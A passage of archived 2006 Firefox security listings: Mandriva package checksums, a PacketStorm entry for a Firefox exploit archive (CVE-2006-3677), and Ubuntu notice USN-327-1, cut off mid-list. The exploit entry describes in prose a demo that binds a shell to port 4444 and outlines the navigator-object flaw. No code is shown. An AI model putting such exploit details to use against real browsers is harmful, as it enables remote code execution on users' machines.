 b5074c27d1cb719bf9f8fabe8aebf628  2006.0/RPMS/mozilla-firefox-fr-1.5.0.6-0.1.20060mdk.i586.rpm
 7a225cdfdf0c17c0f4a72ad27907fc07  2006.0/RPMS/mozilla-firefox-ga-1.5.0.6-0.1.20060mdk.i586.rpm
 06526a054d108d3c9b5f66313151ecc2  2006.0/RPMS/mozilla-firefox-he-1.5.0.6-0.1.20060mdk.i586.rpm
 8f721bd3914c31e04359def6272db929  2006.0/RPMS/mozilla-firefox-hu-1.5.0.6-0.1.20060mdk.i586.rpm
 a704ed726e6db4ba59592563cd2c48b0  2006.0/RPMS/mozilla-firefox-it-1.5.0.6-0.1.20060mdk.i586.rpm
 0ef6729b05e013a364e847e4a1b7b3e3  2006.0/RPMS/mozilla-firefox-ja-1.5.0.6-0.1.20060mdk.i586.rpm
 570b19872de676414b399ff970024b78  2006.0/RPMS/mozilla-firefox-ko-1.5.0.6-0.1.20060mdk.i586.rpm
 dee38f0bbe3870d3bd8ad02ea968c57a  2006.0/RPMS/mozilla-firefox-nb-1.5.0.6-0.1.20060mdk.i586.rpm
 92916e155ec38b5078234728593d72a2  2006.0/RPMS/mozilla-firefox-nl-1.5.0.6-0.1.20060mdk.i586.rpm
 c808f2f32fc9e514ffb097eeeb226a96  2006.0/RPMS/mozilla-firefox-pl-1.5.0.6-0.1.20060mdk.i586.rpm
 6dda5771d062eae75f8f04b7dab8d6cc  2006.0/RPMS/mozilla-firefox-pt_BR-1.5.0.6-0.1.20060mdk.i586.rpm
 c4ac8441170504cc5ec05cf5c8e6e9f9  2006.0/RPMS/mozilla-firefox-ro-1.5.0.6-0.1.20060mdk.i586.rpm
 2765008afd4c0ba1d702eda9627a7690  2006.0/RPMS/mozilla-firefox-ru-1.5.0.6-0.1.20060mdk.i586.rpm
 15b600977b07651f1c3568f4d7f1f9ac  2006.0/RPMS/mozilla-firefox-sk-1.5.0.6-0.1.20060mdk.i586.rpm
 6f1fae6befe608fc841fcc71e15852c0  2006.0/RPMS/mozilla-firefox-sl-1.5.0.6-0.1.20060mdk.i586.rpm
 81f412da40ea14bcc23d420d7a5724f9  2006.0/RPMS/mozilla-firefox-sv-1.5.0.6-0.1.20060mdk.i586.rpm
 76e0ece3c0b6f507340871a168a57e36  2006.0/RPMS/mozilla-firefox-tr-1.5.0.6-0.1.20060mdk.i586.rpm
 6ded58e85ed113718cfb3484ae420bb9  2006.0/RPMS/mozilla-firefox-zh_CN-1.5.0.6-0.1.20060mdk.i586.rpm
 c76f6648e88de4a63991eac66c3fba04  2006.0/RPMS/mozilla-firefox-zh_TW-1.5.0.6-0.1.20060mdk.i586.rpm
 1c7ab93275bcdcf30ed9ec2ddb4893df  2006.0/RPMS/yelp-2.10.0-6.1.20060mdk.i586.rpm
 60279919aa5f17c2ecd9f64db87cb952  2006.0/SRPMS/devhelp-0.10-7.1.20060mdk.src.rpm
 c446c046409b6697a863868fe5c64222  2006.0/SRPMS/epiphany-1.8.5-4.1.20060mdk.src.rpm
 e726300336f737c8952f664bf1866d6f  2006.0/SRPMS/galeon-2.0.1-1.1.20060mdk.src.rpm
 e9e30596eceb0bc9a03f7880cd7d14ea  2006.0/SRPMS/gnome-doc-utils-0.4.4-2.1.20060mdk.src.rpm
 4168c73cba97276fa4868b4ac2c7eb19  2006.0/SRPMS/mozilla-firefox-1.5.0.6-1.4.20060mdk.src.rpm
 6a7df29f5af703d10d7ea1fee160ac00  2006.0/SRPMS/mozilla-firefox-br-1.5.0.6-0.1.20060mdk.src.rpm
 e56e14c28051ec4332cbde8dbee7bb6a  2006.0/SRPMS/mozilla-firefox-ca-1.5.0.6-0.1.20060mdk.src.rpm
 1a144c86fd8db39e2801117296e15d2b  2006.0/SRPMS/mozilla-firefox-cs-1.5.0.6-0.1.20060mdk.src.rpm
 f4889d2ee6e07c0141b57ab9aaccae64  2006.0/SRPMS/mozilla-firefox-da-1.5.0.6-0.1.20060mdk.src.rpm
 dee0f7bc91c797e880fff19e1cb05a63  2006.0/SRPMS/mozilla-firefox-de-1.5.0.6-0.1.20060mdk.src.rpm
 45724f6ceed66701392bd131feaf1f6d  2006.0/SRPMS/mozilla-firefox-el-1.5.0.6-0.1.20060mdk.src.rpm
 cc680cac7fea3f7f8a48a5daf86db088  2006.0/SRPMS/mozilla-firefox-es-1.5.0.6-0.1.20060mdk.src.rpm
 69b04335c21313262af4253863109cc8  2006.0/SRPMS/mozilla-firefox-fi-1.5.0.6-0.1.20060mdk.src.rpm
 2aab89244a535afcbc25271df5d6b33f  2006.0/SRPMS/mozilla-firefox-fr-1.5.0.6-0.1.20060mdk.src.rpm
 f1c7f71d5484c5047b1b38fc16888ae3  2006.0/SRPMS/mozilla-firefox-ga-1.5.0.6-0.1.20060mdk.src.rpm
 3963e3c3a2c38c41d9d3bc5250b124a6  2006.0/SRPMS/mozilla-firefox-he-1.5.0.6-0.1.20060mdk.src.rpm
 bb54aed17a126a9e8568d49866db99ea  2006.0/SRPMS/mozilla-firefox-hu-1.5.0.6-0.1.20060mdk.src.rpm
 2a1b11f2c8944bc1fc0d313d54a903cf  2006.0/SRPMS/mozilla-firefox-it-1.5.0.6-0.1.20060mdk.src.rpm
 783c5b3c0fb9916e07f220110155476d  2006.0/SRPMS/mozilla-firefox-ja-1.5.0.6-0.1.20060mdk.src.rpm
 895e315731fa0b453045cc39da4f5358  2006.0/SRPMS/mozilla-firefox-ko-1.5.0.6-0.1.20060mdk.src.rpm
 daa0a127d2a1a3641d4e97bfb95f1647  2006.0/SRPMS/mozilla-firefox-nb-1.5.0.6-0.1.20060mdk.src.rpm
 0c778b0738b11dfd5d68be48fa6316ed  2006.0/SRPMS/mozilla-firefox-nl-1.5.0.6-0.1.20060mdk.src.rpm
 7025d0118cf29e39117bd87c586e84a3  2006.0/SRPMS/mozilla-firefox-pl-1.5.0.6-0.1.20060mdk.src.rpm
 5d8b8e869f588c0f5751e9ce7addba45  2006.0/SRPMS/mozilla-firefox-pt_BR-1.5.0.6-0.1.20060mdk.src.rpm
 c5148674a8c7dd1f88c5729293f899ba  2006.0/SRPMS/mozilla-firefox-ro-1.5.0.6-0.1.20060mdk.src.rpm
 91d490c075473e2443e383201b961cb8  2006.0/SRPMS/mozilla-firefox-ru-1.5.0.6-0.1.20060mdk.src.rpm
 622ae4619d151bb1634113e50b30fbac  2006.0/SRPMS/mozilla-firefox-sk-1.5.0.6-0.1.20060mdk.src.rpm
 e6d64c14929d299e2fb52e334ae6641a  2006.0/SRPMS/mozilla-firefox-sl-1.5.0.6-0.1.20060mdk.src.rpm
 20f64c6dfd6aa1450cba5002d42f53d8  2006.0/SRPMS/mozilla-firefox-sv-1.5.0.6-0.1.20060mdk.src.rpm
 b93a6b548bb1cf0f8cc46dec133e81a3  2006.0/SRPMS/mozilla-firefox-tr-1.5.0.6-0.1.20060mdk.src.rpm
 f5603b65b3d10fa5083934e08d2d4560  2006.0/SRPMS/mozilla-firefox-zh_CN-1.5.0.6-0.1.20060mdk.src.rpm
 c0e978ea92b4a8f3aa75dad5ab7588b9  2006.0/SRPMS/mozilla-firefox-zh_TW-1.5.0.6-0.1.20060mdk.src.rpm
 93cb0acaeddb095d13b37aeb0ab4dd49  2006.0/SRPMS/yelp-2.10.0-6.1.20060mdk.src.rpm

 Mandriva Linux 2006.0/X86_64:
 d52f4955f15f99137dd9a0b2f360c8b2  x86_64/2006.0/RPMS/devhelp-0.10-7.1.20060mdk.x86_64.rpm
 369457b4a09c07ba18ee5bb18fb2ffa1  x86_64/2006.0/RPMS/epiphany-1.8.5-4.1.20060mdk.x86_64.rpm
 76735684f3ff493770e374a90fd359c7  x86_64/2006.0/RPMS/epiphany-devel-1.8.5-4.1.20060mdk.x86_64.rpm
 5da75ab6624f8c8f0c212ce2299d645f  x86_64/2006.0/RPMS/galeon-2.0.1-1.1.20060mdk.x86_64.rpm
 945059b9456c9ff2ccd40ff4a6d8ae70  x86_64/2006.0/RPMS/gnome-doc-utils-0.4.4-2.1.20060mdk.noarch.rpm
 193f97760bb46e16051ba7b6b968f340  x86_64/2006.0/RPMS/lib64devhelp-1_0-0.10-7.1.20060mdk.x86_64.rpm
 1b67733b0450cd6572c9879c0eb38640  x86_64/2006.0/RPMS/lib64devhelp-1_0-devel-0.10-7.1.20060mdk.x86_64.rpm
 115fcbc6c99bf063cd1768d2b08e9d89  x86_64/2006.0/RPMS/lib64nspr4-1.5.0.6-1.4.20060mdk.x86_64.rpm
 686404fa32e2625f23b19e11c548bbe5  x86_64/2006.0/RPMS/lib64nspr4-devel-1.5.0.6-1.4.20060mdk.x86_64.rpm
 f0886b330d3f5af566af6cf5572ca671  x86_64/2006.0/RPMS/lib64nspr4-static-devel-1.5.0.6-1.4.20060mdk.x86_64.rpm
 10e9abdcb3f952c4db35c85fe58ad8ad  x86_64/2006.0/RPMS/lib64nss3-1.5.0.6-1.4.20060mdk.x86_64.rpm
 202bab2742f162d1cbd6d36720e6f7fb  x86_64/2006.0/RPMS/lib64nss3-devel-1.5.0.6-1.4.20060mdk.x86_64.rpm
 e9aaff3090a4459b57367f4903b0458a  x86_64/2006.0/RPMS/libnspr4-1.5.0.6-1.4.20060mdk.i586.rpm
 fa99cbc159722cc0ff9e5710f24ca599  x86_64/2006.0/RPMS/libnspr4-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 d4d45b797ca2f2347c0409d9f956ff25  x86_64/2006.0/RPMS/libnspr4-static-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 8d33e72703090a911f7fd171ad9dd719  x86_64/2006.0/RPMS/libnss3-1.5.0.6-1.4.20060mdk.i586.rpm
 23afd287c042c5492c210255554a6893  x86_64/2006.0/RPMS/libnss3-devel-1.5.0.6-1.4.20060mdk.i586.rpm
 74811077c91dde3bc8c8bae45e5862a7  x86_64/2006.0/RPMS/mozilla-firefox-1.5.0.6-1.4.20060mdk.x86_64.rpm
 75711988a67bf3f36fc08823561bb2b7  x86_64/2006.0/RPMS/mozilla-firefox-br-1.5.0.6-0.1.20060mdk.x86_64.rpm
 5bd9ad43769390549ab3c4549c971db7  x86_64/2006.0/RPMS/mozilla-firefox-ca-1.5.0.6-0.1.20060mdk.x86_64.rpm
 dfdd808e2ec0866c15db5f1ea6a5b5bd  x86_64/2006.0/RPMS/mozilla-firefox-cs-1.5.0.6-0.1.20060mdk.x86_64.rpm
 1fad19f458ce0aa50e86710ed3b7fe04  x86_64/2006.0/RPMS/mozilla-firefox-da-1.5.0.6-0.1.20060mdk.x86_64.rpm
 743e8d4f009ab2d2fc2e8c131244fb57  x86_64/2006.0/RPMS/mozilla-firefox-de-1.5.0.6-0.1.20060mdk.x86_64.rpm
 476ee9a87f650a0ef3523a9619f9f611  x86_64/2006.0/RPMS/mozilla-firefox-devel-1.5.0.6-1.4.20060mdk.x86_64.rpm
 be48721cbc6e5634b50ce5b6cfe4a951  x86_64/2006.0/RPMS/mozilla-firefox-el-1.5.0.6-0.1.20060mdk.x86_64.rpm
 e56ce18466e20db3189e035329c606ce  x86_64/2006.0/RPMS/mozilla-firefox-es-1.5.0.6-0.1.20060mdk.x86_64.rpm
 489e5940c9ac9573842888ff07436e4c  x86_64/2006.0/RPMS/mozilla-firefox-fi-1.5.0.6-0.1.20060mdk.x86_64.rpm
 73d2eb2fc6ec99a1d3eeb94d9ddff36e  x86_64/2006.0/RPMS/mozilla-firefox-fr-1.5.0.6-0.1.20060mdk.x86_64.rpm
 acbd3cd5f82b47a6c6cb03ebd6ca25ae  x86_64/2006.0/RPMS/mozilla-firefox-ga-1.5.0.6-0.1.20060mdk.x86_64.rpm
 362807f9da1130dd8da606b9ded06311  x86_64/2006.0/RPMS/mozilla-firefox-he-1.5.0.6-0.1.20060mdk.x86_64.rpm
 e48c991fa555d22d1f382baa83dfcae9  x86_64/2006.0/RPMS/mozilla-firefox-hu-1.5.0.6-0.1.20060mdk.x86_64.rpm
 0d954f47de6d2cc58e36cd2c9ddae09c  x86_64/2006.0/RPMS/mozilla-firefox-it-1.5.0.6-0.1.20060mdk.x86_64.rpm
 8f615598d04985a0d60a3469ea3044ed  x86_64/2006.0/RPMS/mozilla-firefox-ja-1.5.0.6-0.1.20060mdk.x86_64.rpm
 f4810510feb31e6195358c5ddd87252f  x86_64/2006.0/RPMS/mozilla-firefox-ko-1.5.0.6-0.1.20060mdk.x86_64.rpm
 537d53b7805ac84009f2ff99e3282b91  x86_64/2006.0/RPMS/mozilla-firefox-nb-1.5.0.6-0.1.20060mdk.x86_64.rpm
 afbc9ee04902213758bbf262b732de21  x86_64/2006.0/RPMS/mozilla-firefox-nl-1.5.0.6-0.1.20060mdk.x86_64.rpm
 dcef8c7676529394e5fbd4168f8e2cd6  x86_64/2006.0/RPMS/mozilla-firefox-pl-1.5.0.6-0.1.20060mdk.x86_64.rpm
 f4ee0e7ecba430fd3ce5e8ebeda9b5c1  x86_64/2006.0/RPMS/mozilla-firefox-pt_BR-1.5.0.6-0.1.20060mdk.x86_64.rpm
 778261355184ca73cbf1aab1ce56644d  x86_64/2006.0/RPMS/mozilla-firefox-ro-1.5.0.6-0.1.20060mdk.x86_64.rpm
 10ca4e7f4cf10c380849ced0bf83e08b  x86_64/2006.0/RPMS/mozilla-firefox-ru-1.5.0.6-0.1.20060mdk.x86_64.rpm
 427cabc08ec66e1a45bc27e5625f49bb  x86_64/2006.0/RPMS/mozilla-firefox-sk-1.5.0.6-0.1.20060mdk.x86_64.rpm
 de4e61d4fce7cd286bb4a3778cb8499f  x86_64/2006.0/RPMS/mozilla-firefox-sl-1.5.0.6-0.1.20060mdk.x86_64.rpm
 86e9af4c42b59e32d4e5ac0a8d1afe30  x86_64/2006.0/RPMS/mozilla-firefox-sv-1.5.0.6-0.1.20060mdk.x86_64.rpm
 126b1e0826330986fbf485eabade949d  x86_64/2006.0/RPMS/mozilla-firefox-tr-1.5.0.6-0.1.20060mdk.x86_64.rpm
 d2e6da2db277b7f5dabed3e95d4b818b  x86_64/2006.0/RPMS/mozilla-firefox-zh_CN-1.5.0.6-0.1.20060mdk.x86_64.rpm
 a83edee07d2465cf55024ed1b7aa779f  x86_64/2006.0/RPMS/mozilla-firefox-zh_TW-1.5.0.6-0.1.20060mdk.x86_64.rpm
 9e33e2a0c3d4a92a0b420c417fcd3469  x86_64/2006.0/RPMS/yelp-2.10.0-6.1.20060mdk.x86_64.rpm
 60279919aa5f17c2ecd9f64db87cb952  x86_64/2006.0/SRPMS/devhelp-0.10-7.1.20060mdk.src.rpm
 c446c046409b6697a863868fe5c64222  x86_64/2006.0/SRPMS/epiphany-1.8.5-4.1.20060mdk.src.rpm
 e726300336f737c8952f664bf1866d6f  x86_64/2006.0/SRPMS/galeon-2.0.1-1.1.20060mdk.src.rpm
 e9e30596eceb0bc9a03f7880cd7d14ea  x86_64/2006.0/SRPMS/gnome-doc-utils-0.4.4-2.1.20060mdk.src.rpm
 4168c73cba97276fa4868b4ac2c7eb19  x86_64/2006.0/SRPMS/mozilla-firefox-1.5.0.6-1.4.20060mdk.src.rpm
 6a7df29f5af703d10d7ea1fee160ac00  x86_64/2006.0/SRPMS/mozilla-firefox-br-1.5.0.6-0.1.20060mdk.src.rpm
 e56e14c28051ec4332cbde8dbee7bb6a  x86_64/2006.0/SRPMS/mozilla-firefox-ca-1.5.0.6-0.1.20060mdk.src.rpm
 1a144c86fd8db39e2801117296e15d2b  x86_64/2006.0/SRPMS/mozilla-firefox-cs-1.5.0.6-0.1.20060mdk.src.rpm
 f4889d2ee6e07c0141b57ab9aaccae64  x86_64/2006.0/SRPMS/mozilla-firefox-da-1.5.0.6-0.1.20060mdk.src.rpm
 dee0f7bc91c797e880fff19e1cb05a63  x86_64/2006.0/SRPMS/mozilla-firefox-de-1.5.0.6-0.1.20060mdk.src.rpm
 45724f6ceed66701392bd131feaf1f6d  x86_64/2006.0/SRPMS/mozilla-firefox-el-1.5.0.6-0.1.20060mdk.src.rpm
 cc680cac7fea3f7f8a48a5daf86db088  x86_64/2006.0/SRPMS/mozilla-firefox-es-1.5.0.6-0.1.20060mdk.src.rpm
 69b04335c21313262af4253863109cc8  x86_64/2006.0/SRPMS/mozilla-firefox-fi-1.5.0.6-0.1.20060mdk.src.rpm
 2aab89244a535afcbc25271df5d6b33f  x86_64/2006.0/SRPMS/mozilla-firefox-fr-1.5.0.6-0.1.20060mdk.src.rpm
 f1c7f71d5484c5047b1b38fc16888ae3  x86_64/2006.0/SRPMS/mozilla-firefox-ga-1.5.0.6-0.1.20060mdk.src.rpm
 3963e3c3a2c38c41d9d3bc5250b124a6  x86_64/2006.0/SRPMS/mozilla-firefox-he-1.5.0.6-0.1.20060mdk.src.rpm
 bb54aed17a126a9e8568d49866db99ea  x86_64/2006.0/SRPMS/mozilla-firefox-hu-1.5.0.6-0.1.20060mdk.src.rpm
 2a1b11f2c8944bc1fc0d313d54a903cf  x86_64/2006.0/SRPMS/mozilla-firefox-it-1.5.0.6-0.1.20060mdk.src.rpm
 783c5b3c0fb9916e07f220110155476d  x86_64/2006.0/SRPMS/mozilla-firefox-ja-1.5.0.6-0.1.20060mdk.src.rpm
 895e315731fa0b453045cc39da4f5358  x86_64/2006.0/SRPMS/mozilla-firefox-ko-1.5.0.6-0.1.20060mdk.src.rpm
 daa0a127d2a1a3641d4e97bfb95f1647  x86_64/2006.0/SRPMS/mozilla-firefox-nb-1.5.0.6-0.1.20060mdk.src.rpm
 0c778b0738b11dfd5d68be48fa6316ed  x86_64/2006.0/SRPMS/mozilla-firefox-nl-1.5.0.6-0.1.20060mdk.src.rpm
 7025d0118cf29e39117bd87c586e84a3  x86_64/2006.0/SRPMS/mozilla-firefox-pl-1.5.0.6-0.1.20060mdk.src.rpm
 5d8b8e869f588c0f5751e9ce7addba45  x86_64/2006.0/SRPMS/mozilla-firefox-pt_BR-1.5.0.6-0.1.20060mdk.src.rpm
 c5148674a8c7dd1f88c5729293f899ba  x86_64/2006.0/SRPMS/mozilla-firefox-ro-1.5.0.6-0.1.20060mdk.src.rpm
 91d490c075473e2443e383201b961cb8  x86_64/2006.0/SRPMS/mozilla-firefox-ru-1.5.0.6-0.1.20060mdk.src.rpm
 622ae4619d151bb1634113e50b30fbac  x86_64/2006.0/SRPMS/mozilla-firefox-sk-1.5.0.6-0.1.20060mdk.src.rpm
 e6d64c14929d299e2fb52e334ae6641a  x86_64/2006.0/SRPMS/mozilla-firefox-sl-1.5.0.6-0.1.20060mdk.src.rpm
 20f64c6dfd6aa1450cba5002d42f53d8  x86_64/2006.0/SRPMS/mozilla-firefox-sv-1.5.0.6-0.1.20060mdk.src.rpm
 b93a6b548bb1cf0f8cc46dec133e81a3  x86_64/2006.0/SRPMS/mozilla-firefox-tr-1.5.0.6-0.1.20060mdk.src.rpm
 f5603b65b3d10fa5083934e08d2d4560  x86_64/2006.0/SRPMS/mozilla-firefox-zh_CN-1.5.0.6-0.1.20060mdk.src.rpm
 c0e978ea92b4a8f3aa75dad5ab7588b9  x86_64/2006.0/SRPMS/mozilla-firefox-zh_TW-1.5.0.6-0.1.20060mdk.src.rpm
 93cb0acaeddb095d13b37aeb0ab4dd49  x86_64/2006.0/SRPMS/yelp-2.10.0-6.1.20060mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)

iD8DBQFE41l0mqjQ0CJFipgRAu1DAJ90MqoteYoIfAj0Gqim5fxrvOw7BACg0xq5
L8QZWCg0xY3ZRacFzNTgusw=
=gl6u
-----END PGP SIGNATURE-----

    

- 漏洞信息 (F48773)

mobb.tgz (PacketStormID:F48773)
2006-08-03 00:00:00
 
exploit,java,web,shell
linux,windows,apple,osx
CVE-2006-3677
[点击下载]

Exploit for Mozilla Firefox versions 1.5.0.4 and below. The demonstration exploit below will attempt to launch "calc.exe" on Windows systems, execute "touch /tmp/METASPLOIT" on Linux systems, and bind a command shell to port 4444 for Mac OS X Intel and PowerPC systems. An anonymous researcher for TippingPoint and the Zero Day Initiative showed that when used in a web page Java would reference properties of the window.navigator object as it started up. If the page replaced the navigator object before starting Java then the browser would crash in a way that could be exploited to run native code supplied by the attacker.

- 漏洞信息 (F48662)

Ubuntu Security Notice 327-1 (PacketStormID:F48662)
2006-07-28 00:00:00
Ubuntu  security.ubuntu.com
advisory,javascript,vulnerability
linux,ubuntu
CVE-2006-3113,CVE-2006-3677,CVE-2006-3801,CVE-2006-3802,CVE-2006-3803,CVE-2006-3805,CVE-2006-3806,CVE-2006-3807,CVE-2006-3808,CVE-2006-3809,CVE-2006-3810,CVE-2006-3811,CVE-2006-3812
[点击下载]

Ubuntu Security Notice USN-327-1 - A multitude of javascript related vulnerabilities have been patched in Firefox.

=========================================================== 
Ubuntu Security Notice USN-327-1              July 27, 2006
firefox vulnerabilities
CVE-2006-3113, CVE-2006-3677, CVE-2006-3801, CVE-2006-3802,
CVE-2006-3803, CVE-2006-3805, CVE-2006-3806, CVE-2006-3807,
CVE-2006-3808, CVE-2006-3809, CVE-2006-3810, CVE-2006-3811,
CVE-2006-3812
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  firefox                      1.5.dfsg+1.5.0.5-0ubuntu6.06

After a standard system upgrade you need to restart Firefox to effect
the necessary changes.

Please note that Firefox 1.0.8 in Ubuntu 5.10 and Ubuntu 5.04 are also
affected by these problems. Updates for these Ubuntu releases will be
delayed due to upstream dropping support for this Firefox version. We
strongly advise that you disable JavaScript to disable the attack
vectors for most vulnerabilities if you use one of these Ubuntu
versions.

Details follow:

Various flaws have been reported that allow an attacker to execute
arbitrary code with user privileges by tricking the user into opening
a malicious URL. (CVE-2006-3113, CVE-2006-3677, CVE-2006-3801,
CVE-2006-3803, CVE-2006-3805, CVE-2006-3806, CVE-2006-3807,
CVE-2006-3809, CVE-2006-3811, CVE-2006-3812)

cross-site scripting vulnerabilities were found in the
XPCNativeWrapper() function and native DOM method handlers. A
malicious web site could exploit these to modify the contents or steal
confidential data (such as passwords) from other opened web pages.
(CVE-2006-3802, CVE-2006-3810)

A bug was found in the script handler for automatic proxy
configuration. A malicious proxy could send scripts which could
execute arbitrary code with the user's privileges. (CVE-2006-3808)

Please see 

  http://www.mozilla.org/projects/security/known-vulnerabilities.html#Firefox

for technical details of these vulnerabilities.


Updated packages for Ubuntu 6.06 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06.diff.gz
      Size/MD5:   174602 7be6f5862219ac4cf44f05733f372f2b
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06.dsc
      Size/MD5:     1109 252d6acf45b009008a6bc88166e2632f
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5.orig.tar.gz
      Size/MD5: 44067762 749933c002e158576ec15782fc451e43

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/mozilla-firefox-dev_1.5.dfsg+1.5.0.5-0ubuntu6.06_all.deb
      Size/MD5:    49190 850dd650e7f876dd539e605d9b3026c8
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/mozilla-firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06_all.deb
      Size/MD5:    50078 c1fa4a40187d9c5b58bd049edb00ce54

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5: 47269292 167aadc3f03b4e1b7cb9ed826e672983
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:  2796768 b54592d0bd736f6ee12a90987771bc59
    http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:   216136 79fa6c69ffb0dd6037e56d1ba538ff64
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:    82358 e2e026d582a7b5352cee4453cef0fe45
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:  9400544 a9d0b804a4374dc636bb79968a2bce5c
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:   218822 a09476caea7d8d73d6a2f534bd494493
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr4_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:   161876 0e0e65348dba8167b4891b173baa8f0d
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:   235746 064fc1434a315f857ee92f60fd49d772
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss3_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_amd64.deb
      Size/MD5:   757458 bd6a5e28e05a04a5deca731ab29f70e4

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5: 43837610 a7e4a535262f8a5d5cb0ace7ed785237
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:  2796700 4509dbf62e3fd2cda7168c20aa65ba4f
    http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:   209546 50e174c1c7290fca51f9e1ee71ebb56c
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:    74732 25ba86caeeb1a88da4493875178a3636
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:  7916536 40ebfe4330af25c2359f8b25b039ed5e
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:   218822 6066f59acbce1b4de2dc284b5801efc5
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr4_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:   146570 c1a5c5cc4371b228093d03d9ed7ad607
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:   235754 0e9a1a89f63a9869b875ee6a50547c2b
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss3_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_i386.deb
      Size/MD5:   669556 d537a4771b80e5c06f18b2c5d7e5d384

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dbg_1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5: 48648192 479d29e08ff2b9cef89a6da3285c0aad
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-dev_1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:  2796790 60b97738bfc3b8b32914487bb4aba239
    http://security.ubuntu.com/ubuntu/pool/universe/f/firefox/firefox-dom-inspector_1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:   212982 a396e119a32303afc024d513b997c84e
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox-gnome-support_1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:    77894 ef7841bb2ab8de0e0c44e59c893b1622
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:  9019132 ed3927484eea5fccf84a2840640febf3
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:   218826 a2338c3c8064a304deb752bf32a291f8
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnspr4_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
      Size/MD5:   159112 7d5d6100727ceb894695b219cec11e43
    http://security.ubuntu.com/ubuntu/pool/main/f/firefox/libnss-dev_1.firefox1.5.dfsg+1.5.0.5-0ubuntu6.06_powerpc.deb
